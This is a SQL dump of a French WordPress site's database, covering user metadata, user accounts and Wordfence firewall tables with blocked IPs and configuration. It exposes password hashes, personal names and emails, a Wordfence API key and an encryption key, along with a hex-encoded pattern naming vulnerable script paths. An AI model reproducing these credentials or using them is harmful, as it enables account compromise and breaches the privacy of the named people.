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  `count` bigint(20) NOT NULL DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_term_taxonomy`
--

INSERT INTO `www2_term_taxonomy` (`term_taxonomy_id`, `term_id`, `taxonomy`, `description`, `parent`, `count`) VALUES
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(2, 2, 'nav_menu', '', 0, 7),
(3, 3, 'collaborateur_worksite', '', 0, 2),
(4, 3, 'collaborateur_service', '', 0, 2);

-- --------------------------------------------------------

--
-- Structure de la table `www2_usermeta`
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CREATE TABLE `www2_usermeta` (
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--
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(2, 1, 'last_name', ''),
(3, 1, 'nickname', 'admin'),
(4, 1, 'description', ''),
(5, 1, 'rich_editing', 'true'),
(6, 1, 'comment_shortcuts', 'false'),
(7, 1, 'admin_color', 'fresh'),
(8, 1, 'use_ssl', '0'),
(9, 1, 'show_admin_bar_front', 'true'),
(10, 1, 'wp_capabilities', 'a:2:{s:13:\&quot;administrator\&quot;;b:1;s:26:\&quot;total_slider_manage_slides\&quot;;b:1;}'),
(11, 1, 'wp_user_level', '10'),
(12, 1, 'dismissed_wp_pointers', 'wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media,total-slider-help-pointer'),
(13, 1, 'show_welcome_panel', '1'),
(14, 1, 'wp_dashboard_quick_press_last_post_id', '499'),
(15, 1, 'managenav-menuscolumnshidden', 'a:4:{i:0;s:11:\&quot;link-target\&quot;;i:1;s:11:\&quot;css-classes\&quot;;i:2;s:3:\&quot;xfn\&quot;;i:3;s:11:\&quot;description\&quot;;}'),
(16, 1, 'metaboxhidden_nav-menus', 'a:2:{i:0;s:8:\&quot;add-post\&quot;;i:1;s:12:\&quot;add-post_tag\&quot;;}'),
(17, 1, 'wp_user-settings', 'hidetb=1&amp;libraryContent=browse&amp;editor=html&amp;wplink=1'),
(18, 1, 'wp_user-settings-time', '1429688365'),
(19, 1, 'nav_menu_recently_edited', '2'),
(20, 2, 'first_name', 'Julie'),
(21, 2, 'last_name', 'Pierrard'),
(22, 2, 'nickname', 'Julie'),
(23, 2, 'description', ''),
(24, 2, 'rich_editing', 'true'),
(25, 2, 'comment_shortcuts', 'false'),
(26, 2, 'admin_color', 'fresh'),
(27, 2, 'use_ssl', '0'),
(28, 2, 'show_admin_bar_front', 'true'),
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(30, 2, 'wp_user_level', '7'),
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(32, 2, 'wp_dashboard_quick_press_last_post_id', '399'),
(33, 2, 'wp_user-settings', 'editor=tinymce&amp;hidetb=1'),
(34, 2, 'wp_user-settings-time', '1377249565'),
(35, 2, 'default_password_nag', ''),
(36, 3, 'first_name', ''),
(37, 3, 'last_name', ''),
(38, 3, 'nickname', 'Pablo'),
(39, 3, 'description', ''),
(40, 3, 'rich_editing', 'true'),
(41, 3, 'comment_shortcuts', 'false'),
(42, 3, 'admin_color', 'fresh'),
(43, 3, 'use_ssl', '0'),
(44, 3, 'show_admin_bar_front', 'true'),
(45, 3, 'wp_capabilities', 'a:1:{s:13:\&quot;administrator\&quot;;b:1;}'),
(46, 3, 'wp_user_level', '10'),
(47, 3, 'dismissed_wp_pointers', 'wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media,wp360_revisions,wp360_locks'),
(48, 3, 'wp_dashboard_quick_press_last_post_id', '489'),
(49, 3, 'wp_user-settings', 'editor=html&amp;libraryContent=browse&amp;imgsize=full'),
(50, 3, 'wp_user-settings-time', '1441213598');

-- --------------------------------------------------------

--
-- Structure de la table `www2_users`
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CREATE TABLE `www2_users` (
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  `user_nicename` varchar(50) NOT NULL DEFAULT '',
  `user_email` varchar(100) NOT NULL DEFAULT '',
  `user_url` varchar(100) NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
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--
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INSERT INTO `www2_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
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(2, 'Julie', '$P$BgQ7uEA82zTYq3q0onbcq/W0rc8syx0', 'julie', 'juliepierrard@hotmail.com', '', '2013-08-23 09:08:58', '', 0, 'Julie Pierrard'),
(3, 'Pablo', '$P$BogLy0dg73K6JpgjPUqkqNJar.mmff.', 'pablo', 'wepion@gmail.com', '', '2015-09-02 16:42:58', '', 0, 'Pablo');

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfBadLeechers`
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-- --------------------------------------------------------

--
-- Structure de la table `www2_wfBlockedIPLog`
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--
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-- --------------------------------------------------------

--
-- Structure de la table `www2_wfBlocks`
--

CREATE TABLE `www2_wfBlocks` (
  `IP` int(10) UNSIGNED NOT NULL,
  `blockedTime` bigint(20) NOT NULL,
  `reason` varchar(255) NOT NULL,
  `lastAttempt` int(10) UNSIGNED DEFAULT '0',
  `blockedHits` int(10) UNSIGNED DEFAULT '0',
  `wfsn` tinyint(3) UNSIGNED DEFAULT '0',
  `permanent` tinyint(3) UNSIGNED DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfBlocks`
--

INSERT INTO `www2_wfBlocks` (`IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `wfsn`, `permanent`) VALUES
(3164986572, 1496125250, 'Blocked by Wordfence Security Network', 1496125252, 2, 1, 0),
(1279978460, 1494174197, 'Blocked by Wordfence Security Network', 1494174199, 1, 1, 0),
(794439728, 1494596017, 'Blocked by Wordfence Security Network', 1494596019, 2, 1, 0),
(2202594575, 1494167955, 'Blocked by Wordfence Security Network', 1494168024, 1, 1, 0),
(3098029701, 1494186073, 'Blocked by Wordfence Security Network', 1494186096, 1, 1, 0),
(3056763559, 1494186058, 'Blocked by Wordfence Security Network', 1494186099, 4, 1, 0),
(1053997316, 1494167247, 'Blocked by Wordfence Security Network', 1494167375, 2, 1, 0),
(3098024781, 1494150065, 'Blocked by Wordfence Security Network', 1494150076, 1, 1, 0),
(2996829330, 1494169647, 'Blocked by Wordfence Security Network', 1494169764, 4, 1, 0),
(1743622318, 1494223472, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1893028934, 1494133399, 'Blocked by Wordfence Security Network', 1494133418, 1, 1, 0),
(2727364316, 1494184792, 'Blocked by Wordfence Security Network', 1494149433, 3, 1, 0),
(3098024846, 1494116197, 'Blocked by Wordfence Security Network', 1494116210, 2, 1, 0),
(3098029782, 1494116196, 'Blocked by Wordfence Security Network', 1494116224, 3, 1, 0),
(762746819, 1494224241, 'Blocked by Wordfence Security Network', 1494224400, 8, 1, 0),
(2111103174, 1494203699, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3237666864, 1494087976, 'Blocked by Wordfence Security Network', 1494087978, 1, 1, 0),
(1632276610, 1494084900, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3098024844, 1494084893, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1729883369, 1494084572, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(2655384544, 1494084560, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1728523225, 1494084560, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3527006264, 1494204322, 'Blocked by Wordfence Security Network', 1494204426, 6, 1, 0),
(633031051, 1494134009, 'Blocked by Wordfence Security Network', 1494134260, 1, 1, 0),
(843039290, 1494084555, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(521678460, 1494223417, 'Blocked by Wordfence Security Network', 1494084584, 2, 1, 0),
(3423600883, 1494203507, 'Blocked by Wordfence Security Network', 1494203564, 3, 1, 0),
(2746000698, 1494203485, 'Blocked by Wordfence Security Network', 1494203690, 6, 1, 0),
(469651732, 1494072996, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(2988470183, 1494100230, 'Blocked by Wordfence Security Network', 1494100340, 6, 1, 0),
(3164982411, 1494204457, 'Blocked by Wordfence Security Network', 1494084536, 2, 1, 0),
(3353828771, 1494084554, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1632245985, 1494060818, 'Blocked by Wordfence Security Network', 1494060838, 2, 1, 0),
(3346287710, 1494116335, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3069127338, 1494184828, 'Blocked by Wordfence Security Network', 1494184862, 2, 1, 0),
(1138881296, 1494167247, 'Blocked by Wordfence Security Network', 1494167509, 4, 1, 0),
(3191614634, 1494173321, 'Blocked by Wordfence Security Network', 1494173323, 2, 1, 0),
(637050808, 1493312452, 'Blocked by Wordfence Security Network', 1493312455, 4, 1, 0),
(28968311, 1493316187, 'Blocked by Wordfence Security Network', 1493316190, 4, 1, 0),
(621184356, 1493320110, 'Blocked by Wordfence Security Network', 1493320112, 4, 1, 0),
(3412761521, 1493340938, 'Blocked by Wordfence Security Network', 1493340942, 4, 1, 0),
(831636304, 1493351968, 'Blocked by Wordfence Security Network', 1493351973, 4, 1, 0),
(702768013, 1493352643, 'Blocked by Wordfence Security Network', 1493352646, 4, 1, 0),
(2873895206, 1493386238, 'Blocked by Wordfence Security Network', 1493386241, 4, 1, 0),
(2058018895, 1493404013, 'Blocked by Wordfence Security Network', 1493404015, 4, 1, 0),
(608761984, 1493410002, 'Blocked by Wordfence Security Network', 1493410039, 4, 1, 0),
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(3039577960, 1493433332, 'Blocked by Wordfence Security Network', 1493433335, 4, 1, 0),
(3304677463, 1493436060, 'Blocked by Wordfence Security Network', 1493436063, 4, 1, 0),
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(2917961944, 1493591700, 'Blocked by Wordfence Security Network', 1493591702, 1, 1, 0),
(3195004720, 1493671338, 'Blocked by Wordfence Security Network', 1493671343, 4, 1, 0),
(773229120, 1493702332, 'Blocked by Wordfence Security Network', 1493702334, 1, 1, 0),
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(3590043250, 1494344413, 'Blocked by Wordfence Security Network', 1494344414, 2, 1, 0),
(3382964636, 1493310999, 'Blocked by Wordfence Security Network', 1493311003, 4, 1, 0),
(3157204740, 1493310765, 'Blocked by Wordfence Security Network', 1493310768, 4, 1, 0),
(1396104586, 1493305620, 'Blocked by Wordfence Security Network', 1493305622, 4, 1, 0),
(1317189474, 1493283580, 'Blocked by Wordfence Security Network', 1493283583, 4, 1, 0),
(1449745144, 1493296040, 'Blocked by Wordfence Security Network', 1493296043, 4, 1, 0),
(1887828803, 1493302076, 'Blocked by Wordfence Security Network', 1493302079, 4, 1, 0),
(2391196847, 1493269667, 'Blocked by Wordfence Security Network', 1493269670, 4, 1, 0),
(1892041857, 1493261050, 'Blocked by Wordfence Security Network', 1493261053, 4, 1, 0),
(3142072067, 1493256849, 'Blocked by Wordfence Security Network', 1493256852, 4, 1, 0),
(3159244987, 1493253264, 'Blocked by Wordfence Security Network', 1493253266, 4, 1, 0),
(86750727, 1493245537, 'Blocked by Wordfence Security Network', 1493245540, 4, 1, 0),
(1833643342, 1493233679, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(2760119799, 1493230816, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1835651188, 1493216472, 'Blocked by Wordfence Security Network', 1493216475, 4, 1, 0),
(702781337, 1493197801, 'Blocked by Wordfence Security Network', 1493197804, 4, 1, 0),
(832022104, 1493195192, 'Blocked by Wordfence Security Network', 1493195196, 4, 1, 0),
(3360841433, 1493176793, 'Blocked by Wordfence Security Network', 1493176797, 4, 1, 0),
(1590804861, 1493169152, 'Blocked by Wordfence Security Network', 1493169155, 4, 1, 0),
(1223522106, 1493168329, 'Blocked by Wordfence Security Network', 1493168332, 4, 1, 0),
(3182212288, 1493165930, 'Blocked by Wordfence Security Network', 1493165933, 4, 1, 0),
(1565928623, 1493163212, 'Blocked by Wordfence Security Network', 1493163215, 4, 1, 0),
(2957549377, 1493158682, 'Blocked by Wordfence Security Network', 1493158685, 4, 1, 0),
(3017071845, 1493152168, 'Blocked by Wordfence Security Network', 1493152171, 4, 1, 0),
(702589396, 1493141221, 'Blocked by Wordfence Security Network', 1493141224, 4, 1, 0),
(1589523921, 1493332454, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1293756220, 1493132339, 'Blocked by Wordfence Security Network', 1493132341, 4, 1, 0),
(2738198454, 1493104871, 'Blocked by Wordfence Security Network', 1493104875, 4, 1, 0),
(1401323221, 1493121788, 'Blocked by Wordfence Security Network', 1493121790, 4, 1, 0),
(1887842097, 1493123094, 'Blocked by Wordfence Security Network', 1493123097, 4, 1, 0),
(2943288819, 1493104704, 'Blocked by Wordfence Security Network', 1493104708, 4, 1, 0),
(702756256, 1493104435, 'Blocked by Wordfence Security Network', 1493104438, 4, 1, 0),
(1741772220, 1493098899, 'Blocked by Wordfence Security Network', 1493098903, 4, 1, 0),
(3754818252, 1493087945, 'Blocked by Wordfence Security Network', 1493087949, 4, 1, 0),
(2637388761, 1493087466, 'Blocked by Wordfence Security Network', 1493087469, 4, 1, 0),
(2399207350, 1493087412, 'Blocked by Wordfence Security Network', 1493087415, 4, 1, 0),
(2320235926, 1493085701, 'Blocked by Wordfence Security Network', 1493085704, 4, 1, 0),
(842254621, 1493079982, 'Blocked by Wordfence Security Network', 1493079985, 4, 1, 0),
(86724239, 1493075786, 'Blocked by Wordfence Security Network', 1493075788, 4, 1, 0),
(1473126706, 1493071787, 'Blocked by Wordfence Security Network', 1493071789, 4, 1, 0),
(1837181866, 1493068009, 'Blocked by Wordfence Security Network', 1493068011, 4, 1, 0),
(1242501469, 1493057105, 'Blocked by Wordfence Security Network', 1493057107, 4, 1, 0),
(1459691243, 1493057139, 'Blocked by Wordfence Security Network', 1493057142, 4, 1, 0),
(1484515861, 1493055055, 'Blocked by Wordfence Security Network', 1493055057, 4, 1, 0),
(1892753981, 1493053170, 'Blocked by Wordfence Security Network', 1493053174, 4, 1, 0),
(837089132, 1493036722, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(3149830434, 1493000029, 'Blocked by Wordfence Security Network', 1493000032, 4, 1, 0),
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(736163900, 1494310133, 'Blocked by Wordfence Security Network', 1494310208, 83, 1, 0),
(1299175467, 1494345339, 'Blocked by Wordfence Security Network', 1494345341, 1, 1, 0),
(1743847615, 1494520585, 'Blocked by Wordfence Security Network', 1494520591, 1, 1, 0),
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(657922338, 1498970487, 'Blocked by Wordfence Security Network', 1498970491, 4, 1, 0),
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(2875283979, 1498990988, 'Blocked by Wordfence Security Network', 1498990991, 4, 1, 0),
(1391229745, 1499006476, 'Blocked by Wordfence Security Network', 1499006479, 4, 1, 0),
(3319952174, 1499017018, 'Blocked by Wordfence Security Network', 1499017021, 4, 1, 0),
(1363303233, 1499031006, 'Blocked by Wordfence Security Network', 1499031008, 4, 1, 0),
(3560722714, 1499039147, 'Blocked by Wordfence Security Network', 1499039150, 4, 1, 0),
(1435830550, 1499041593, 'Blocked by Wordfence Security Network', 1499041596, 4, 1, 0),
(3291887408, 1499045004, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1544811101, 1499045678, 'Blocked by Wordfence Security Network', 1499045681, 4, 1, 0),
(1570530821, 1499049012, 'Blocked by Wordfence Security Network', 1499049015, 4, 1, 0),
(3497108325, 1499063259, 'Blocked by Wordfence Security Network', 1499063260, 1, 1, 0),
(694199286, 1499095491, 'Blocked by Wordfence Security Network', 1499095494, 4, 1, 0),
(694508115, 1499107561, 'Blocked by Wordfence Security Network', 1499107564, 4, 1, 0),
(3033775030, 1499116960, 'Blocked by Wordfence Security Network', 1499116963, 4, 1, 0),
(1307411185, 1499118227, 'Blocked by Wordfence Security Network', 1499118230, 4, 1, 0),
(3135066780, 1499118299, 'Blocked by Wordfence Security Network', 1499118302, 4, 1, 0),
(1800230200, 1499131954, 'Blocked by Wordfence Security Network', 1499131957, 4, 1, 0),
(1040268236, 1499132310, 'Blocked by Wordfence Security Network', 1499132313, 4, 1, 0),
(3561984809, 1499168133, 'Blocked by Wordfence Security Network', 1499168135, 4, 1, 0),
(3104980322, 1499199861, 'Blocked by Wordfence Security Network', 1499199863, 4, 1, 0),
(1807545404, 1499206900, 'Blocked by Wordfence Security Network', 1499206903, 4, 1, 0),
(1768344095, 1499210805, 'Blocked by Wordfence Security Network', 1499210808, 4, 1, 0),
(2955898566, 1499212035, 'Blocked by Wordfence Security Network', 1499212037, 4, 1, 0),
(1550636993, 1499239201, 'Blocked by Wordfence Security Network', 1499239204, 4, 1, 0),
(656512273, 1499239272, 'Blocked by Wordfence Security Network', 1499239275, 4, 1, 0),
(996019409, 1499250375, 'Blocked by Wordfence Security Network', 1499250378, 4, 1, 0),
(771295430, 1499261449, 'Blocked by Wordfence Security Network', 1499261452, 4, 1, 0),
(2970739670, 1499265147, 'Blocked by Wordfence Security Network', 1499265151, 4, 1, 0),
(2631915670, 1499275902, 'Blocked by Wordfence Security Network', 1499275906, 4, 1, 0),
(1081048870, 1499279619, 'Blocked by Wordfence Security Network', 1499279620, 1, 1, 0),
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(2961112076, 1499461065, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(84712992, 1499521646, 'Blocked by Wordfence Security Network', 1499521648, 4, 1, 0),
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(2979847696, 1499573766, 'Blocked by Wordfence Security Network', 1499573769, 4, 1, 0),
(16883149, 1499579491, 'Blocked by Wordfence Security Network', 1499579494, 4, 1, 0),
(837087165, 1499579723, 'Blocked by Wordfence Security Network', 1499579727, 4, 1, 0),
(3197645454, 1499583850, 'Blocked by Wordfence Security Network', 1499583853, 4, 1, 0),
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(2047078917, 1499654903, 'Blocked by Wordfence Security Network', 1499654906, 4, 1, 0),
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(3526612805, 1499724466, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1410847463, 1499734210, 'Blocked by Wordfence Security Network', 1499734213, 4, 1, 0),
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(1326068261, 1499788092, 'Blocked by Wordfence Security Network', 1499788094, 4, 1, 0),
(792007333, 1499809617, 'Blocked by Wordfence Security Network', 1499809620, 4, 1, 0),
(3321488109, 1499818437, 'Blocked by Wordfence Security Network', 1499818441, 4, 1, 0),
(1326228420, 1499820445, 'Blocked by Wordfence Security Network', 1499820448, 4, 1, 0),
(1471709157, 1499853773, 'Blocked by Wordfence Security Network', 1499853775, 4, 1, 0),
(2393026044, 1499868369, 'Blocked by Wordfence Security Network', 1499868372, 4, 1, 0),
(2152704098, 1499886809, 'Blocked by Wordfence Security Network', 1499886811, 4, 1, 0),
(42616701, 1499890032, 'Blocked by Wordfence Security Network', 1499890034, 4, 1, 0),
(1581302042, 1499900484, 'Blocked by Wordfence Security Network', 1499900487, 4, 1, 0),
(1235952074, 1499918354, 'Blocked by Wordfence Security Network', 1499918356, 4, 1, 0),
(915750734, 1499950981, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(874674276, 1499961687, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3481717135, 1499965444, 'Blocked by Wordfence Security Network', 1499965447, 4, 1, 0),
(583622267, 1499989888, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3197462569, 1499993182, 'Blocked by Wordfence Security Network', 1499993185, 4, 1, 0),
(2927706329, 1499993631, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(702461109, 1499994082, 'Blocked by Wordfence Security Network', 1499994085, 4, 1, 0),
(920891349, 1500001332, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(3577295515, 1500011864, 'Blocked by Wordfence Security Network', 1500011867, 4, 1, 0),
(455217818, 1500023470, 'Blocked by Wordfence Security Network', 1500023473, 4, 1, 0),
(1337027635, 1500048293, 'Blocked by Wordfence Security Network', 1500048296, 4, 1, 0),
(634555953, 1500054931, 'Blocked by Wordfence Security Network', 1500054934, 4, 1, 0),
(404453904, 1500062586, 'Blocked by Wordfence Security Network', 1500062589, 4, 1, 0),
(692377094, 1500063161, 'Blocked by Wordfence Security Network', 1500063165, 4, 1, 0),
(1376975531, 1500073515, 'Blocked by Wordfence Security Network', 1500073518, 4, 1, 0),
(3141400205, 1500087266, 'Blocked by Wordfence Security Network', 1500087270, 4, 1, 0),
(585330554, 1500087688, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1293927825, 1500094419, 'Blocked by Wordfence Security Network', 1500094422, 4, 1, 0),
(835573799, 1500095941, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1976044991, 1500106175, 'Blocked by Wordfence Security Network', 1500106179, 4, 1, 0),
(1297608708, 1500106398, 'Blocked by Wordfence Security Network', 1500106400, 4, 1, 0),
(874893407, 1500126458, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(585291184, 1500152033, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3319954936, 1500160451, 'Blocked by Wordfence Security Network', 1500160454, 4, 1, 0),
(3042655538, 1500169905, 'Blocked by Wordfence Security Network', 1500169908, 4, 1, 0),
(3361094801, 1500178800, 'Blocked by Wordfence Security Network', 1500178804, 4, 1, 0),
(919161641, 1500178945, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1678835878, 1500181716, 'Blocked by Wordfence Security Network', 1500181718, 4, 1, 0),
(1744517895, 1500185547, 'Blocked by Wordfence Security Network', 1500185550, 4, 1, 0),
(584188065, 1500224743, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1887841908, 1500264744, 'Blocked by Wordfence Security Network', 1500264747, 4, 1, 0),
(1539428482, 1500281761, 'Blocked by Wordfence Security Network', 1500281764, 4, 1, 0),
(874738092, 1500333061, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1729078788, 1500314583, 'Blocked by Wordfence Security Network', 1500314586, 4, 1, 0),
(3164695660, 1500326083, 'Blocked by Wordfence Security Network', 1500326086, 4, 1, 0),
(1855096721, 1500346158, 'Blocked by Wordfence Security Network', 1500346162, 4, 1, 0),
(1237999338, 1500346277, 'Blocked by Wordfence Security Network', 1500346281, 4, 1, 0),
(598145435, 1500357616, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1422229100, 1500365654, 'Blocked by Wordfence Security Network', 1500365656, 4, 1, 0),
(598069797, 1500376266, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(885815617, 1500386439, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3680266720, 1500390057, 'Blocked by Wordfence Security Network', 1500390060, 4, 1, 0),
(1324837478, 1500397437, 'Blocked by Wordfence Security Network', 1500397439, 4, 1, 0),
(911757147, 1500397669, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3410419836, 1500411035, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3269181341, 1500415346, 'Blocked by Wordfence Security Network', 1500415348, 4, 1, 0),
(3120616689, 1500444655, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3114828415, 1500446782, 'Blocked by Wordfence Security Network', 0, 0, 1, 0);

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfBlocksAdv`
--

CREATE TABLE `www2_wfBlocksAdv` (
  `id` int(10) UNSIGNED NOT NULL,
  `blockType` char(2) NOT NULL,
  `blockString` varchar(255) NOT NULL,
  `ctime` int(10) UNSIGNED NOT NULL,
  `reason` varchar(255) NOT NULL,
  `totalBlocked` int(10) UNSIGNED DEFAULT '0',
  `lastBlocked` int(10) UNSIGNED DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfConfig`
--

CREATE TABLE `www2_wfConfig` (
  `name` varchar(100) NOT NULL,
  `val` longblob
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfConfig`
--

INSERT INTO `www2_wfConfig` (`name`, `val`) VALUES
('alertOn_critical', 0x31),
('alertOn_update', 0x30),
('alertOn_warnings', 0x31),
('alertOn_throttle', 0x30),
('alertOn_block', 0x31),
('alertOn_loginLockout', 0x31),
('alertOn_lostPasswdForm', 0x31),
('alertOn_adminLogin', 0x31),
('alertOn_nonAdminLogin', 0x30),
('liveTrafficEnabled', 0x31),
('advancedCommentScanning', 0x30),
('checkSpamIP', 0x30),
('spamvertizeCheck', 0x30),
('liveTraf_ignorePublishers', 0x31),
('scheduledScansEnabled', 0x31),
('scansEnabled_public', 0x30),
('scansEnabled_heartbleed', 0x31),
('scansEnabled_core', 0x31),
('scansEnabled_themes', 0x30),
('scansEnabled_plugins', 0x30),
('scansEnabled_malware', 0x31),
('scansEnabled_fileContents', 0x31),
('scansEnabled_posts', 0x31),
('scansEnabled_comments', 0x31),
('scansEnabled_passwds', 0x31),
('scansEnabled_diskSpace', 0x31),
('scansEnabled_options', 0x31),
('scansEnabled_dns', 0x31),
('scansEnabled_scanImages', 0x30),
('scansEnabled_highSense', 0x30),
('scansEnabled_oldVersions', 0x31),
('firewallEnabled', 0x31),
('blockFakeBots', 0x30),
('autoBlockScanners', 0x31),
('loginSecurityEnabled', 0x31),
('loginSec_lockInvalidUsers', 0x30),
('loginSec_maskLoginErrors', 0x31),
('loginSec_blockAdminReg', 0x31),
('loginSec_disableAuthorScan', 0x31),
('other_hideWPVersion', 0x31),
('other_noAnonMemberComments', 0x31),
('other_blockBadPOST', 0x30),
('other_scanComments', 0x31),
('other_pwStrengthOnUpdate', 0x31),
('other_WFNet', 0x31),
('other_scanOutside', 0x30),
('deleteTablesOnDeact', 0x30),
('autoUpdate', 0x30),
('disableCookies', 0x30),
('startScansRemotely', 0x30),
('addCacheComment', 0x30),
('disableCodeExecutionUploads', 0x30),
('allowHTTPSCaching', 0x30),
('debugOn', 0x30),
('email_summary_enabled', 0x31),
('email_summary_dashboard_widget_enabled', 0x31),
('securityLevel', 0x32),
('alertEmails', ''),
('liveTraf_ignoreUsers', ''),
('liveTraf_ignoreIPs', ''),
('liveTraf_ignoreUA', ''),
('apiKey', 0x35653835383332353537306463373164353737663630323633336665353961313861333361633935613838633536373361353637376464663132346464326161306638353931386638333461353733303739363033346362613735363862366263353563313433663938373263636532336137333663633462646362646131323936326531663332343863646466363231623161316539353237616363386665),
('maxMem', 0x323536),
('scan_exclude', ''),
('whitelisted', ''),
('bannedURLs', ''),
('maxExecutionTime', ''),
('howGetIPs', ''),
('actUpdateInterval', ''),
('alert_maxHourly', 0x30),
('loginSec_userBlacklist', ''),
('neverBlockBG', 0x6e65766572426c6f636b5665726966696564),
('loginSec_countFailMins', 0x323430),
('loginSec_lockoutMins', 0x323430),
('loginSec_strongPasswds', 0x70756273),
('loginSec_maxFailures', 0x3230),
('loginSec_maxForgotPasswd', 0x3230),
('maxGlobalRequests', 0x44495341424c4544),
('maxGlobalRequests_action', 0x7468726f74746c65),
('maxRequestsCrawlers', 0x44495341424c4544),
('maxRequestsCrawlers_action', 0x7468726f74746c65),
('maxRequestsHumans', 0x44495341424c4544),
('maxRequestsHumans_action', 0x7468726f74746c65),
('max404Crawlers', 0x44495341424c4544),
('max404Crawlers_action', 0x7468726f74746c65),
('max404Humans', 0x44495341424c4544),
('max404Humans_action', 0x7468726f74746c65),
('maxScanHits', 0x44495341424c4544),
('maxScanHits_action', 0x7468726f74746c65),
('blockedTime', 0x333030),
('email_summary_interval', 0x62697765656b6c79),
('email_summary_excluded_directories', 0x77702d636f6e74656e742f63616368652c77702d636f6e74656e742f776663616368652c77702d636f6e74656e742f706c7567696e732f776f726466656e63652f746d70),
('encKey', 0x32353266636533393739666437386366),
('vulnRegex', 0x2f283f3a776f726466656e63655f746573745f76756c6e5f6d617463687c5c2f74696d7468756d625c2e7068707c5c2f7468756d625c2e7068707c5c2f7468756d62735c2e7068707c5c2f7468756d626e61696c5c2e7068707c5c2f7468756d626e61696c735c2e7068707c5c2f7468756d6e61696c735c2e7068707c5c2f63726f707065725c2e7068707c5c2f70696373697a655c2e7068707c5c2f726573697a65725c2e7068707c636f6e6e6563746f72735c2f75706c6f6164746573745c2e68746d6c7c636f6e6e6563746f72735c2f746573745c2e68746d6c7c6d696e676c65666f72756d616374696f6e7c75706c6f61646966795c2e7068707c616c6c7765626d656e75732d776f726470726573732d6d656e752d706c7567696e7c77702d6379636c652d706c61796c6973747c636f756e742d7065722d6461797c77702d6175746f796f75747562657c7061792d776974682d74776565747c636f6d6d656e742d726174696e675c2f636b2d70726f636573736b61726d615c2e706870292f69),
('welcomeClosed', 0x31),
('wf_summaryItems', 0x613a31363a7b733a31303a22746f74616c5573657273223b693a333b733a31303a22746f74616c5061676573223b733a323a223130223b733a31303a22746f74616c506f737473223b733a313a2231223b733a31333a22746f74616c436f6d6d656e7473223b733a333a22313435223b733a31353a22746f74616c43617465676f72696573223b733a313a2231223b733a31313a22746f74616c5461626c6573223b693a35373b733a393a22746f74616c526f7773223b693a34343731313b733a31323a22746f74616c506c7567696e73223b693a31343b733a31303a226c617374557064617465223b693a313439323332303236323b733a31313a22746f74616c5468656d6573223b693a343b733a393a22746f74616c44617461223b733a383a2233372e3638204d42223b733a31303a22746f74616c46696c6573223b693a323431313b733a393a22746f74616c44697273223b693a3334393b733a31303a226c696e65734f66504850223b693a3339363339323b733a31303a226c696e65734f664a4348223b693a3131333738333b733a383a227363616e54696d65223b643a313439323332303236322e3039343730353130343832373838303835393337353b7d),
('tourClosed', 0x31),
('totalScansRun', 0x31333335),
('wfKillRequested', 0x30),
('currentCronKey', ''),
('wf_scanRunning', ''),
('wfStatusStartMsgs', 0x613a31333a7b693a303b733a303a22223b693a313b733a303a22223b693a323b733a303a22223b693a333b733a303a22223b693a343b733a303a22223b693a353b733a303a22223b693a363b733a303a22223b693a373b733a303a22223b693a383b733a303a22223b693a393b733a303a22223b693a31303b733a303a22223b693a31313b733a303a22223b693a31323b733a303a22223b7d),
('wf_dnsCNAME', 0x7777772e63726f7373747261696e696e6763656e7465722e626520706f696e747320746f2063726f7373747261696e696e6763656e7465722e6265),
('wf_dnsA', 0x63726f7373747261696e696e6763656e7465722e626520706f696e747320746f203231332e3138362e33332e33),
('wf_dnsMX', ''),
('wf_dnsLogged', 0x31),
('lastScanCompleted', 0x6f6b),
